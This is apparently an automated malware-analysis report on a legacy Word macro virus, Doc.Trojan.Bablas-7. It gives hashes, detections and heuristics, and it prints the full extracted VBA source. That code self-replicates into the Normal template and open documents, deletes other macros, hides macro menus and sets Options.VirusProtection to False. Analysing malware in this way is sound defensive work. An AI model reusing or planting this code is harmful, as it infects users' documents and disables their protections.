Doc.Trojan.Bablas-7 — Office (OLE) malware analysis

Static analysis result for SHA-256 e51b778536431782…

MALICIOUS

Office (OLE)

31.5 KB Created: 2001-04-10 10:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9fd265984d3910e22a470fb8db850647 SHA-1: e95a8f8cfedb7b8cca679da4fb888a830d3284ab SHA-256: e51b7785364317826d1b0bf78967516492536878d89ab59452bbb6d001f8ea81
256 Risk Score

Malware Insights

Doc.Trojan.Bablas-7 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and critical ClamAV detections for 'Doc.Trojan.Bablas-7'. The VBA code includes AutoOpen and AutoClose macros designed to infect the document and potentially spread to the Normal template, indicating a macro-based infection attempt. The presence of 'W97M-Bablas' in the document body further supports the identified family.

Heuristics 6

  • ClamAV: Doc.Trojan.Bablas-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bablas-7
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3365 bytes
SHA-256: 8bacb98fe5eaf6a77ca7366ba9208c5f29b37563a3c60ecd9c00e33cd310298d
Detection
ClamAV: Doc.Trojan.Bablas-7
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Sick"
Sub Trought()
Attribute Trought.VB_Description = "Macro created 10/02/99 by  Abdul Aziz"
Attribute Trought.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
    End Sub

Sub ViewVbCode()
    End Sub

Sub FileTemplates()
    End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "Microsoft World "
    End Sub
Sub Infect()
    Dim Ill As Boolean
    Ill = False
    
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "Sick" Then Ill = True
        If Obj.Name <> "Sick" And Obj.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If Ill = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="Sick", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub Infect2()
    Dim Thin As Boolean
    Thin = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "Sick" Then Thin = True
        If Obj.Name <> "Sick" And Obj.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If Thin = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="Sick", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    Application.Quit
End Sub

Sub FileOpen()
    ChangeCap
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        Infect
        ActiveDocument.Save
    End If
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoOpen()
    Trought
    ChangeCap
    Infect2
    On Error Resume Next
    NormalTemplate.Save
    End Sub

Sub AutoClose()
    Infect
End Sub

Sub FileClose()
    AutoClose
End Sub

Sub FileSave()
    If ActiveDocument.Saved = False Then
        Infect
        Infect2
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub Broke()
    C = Documents.Count
    If C <> 0 Then
        Normal.Sick.Infect
        WordBasic.DisableAutoMacros False
        On Error Resume Next
        If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
    Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.Sick.Broke"
    End If
End Sub

Sub AutoExec()
    WordBasic.DisableAutoMacros True
    Trought
    Application.OnTime Now + TimeValue("00:00:07"), "Normal.Sick.Broke"
End Sub
Sub FormatStyle()
Dialogs(wdDialogFormatStyle).Show
End Sub

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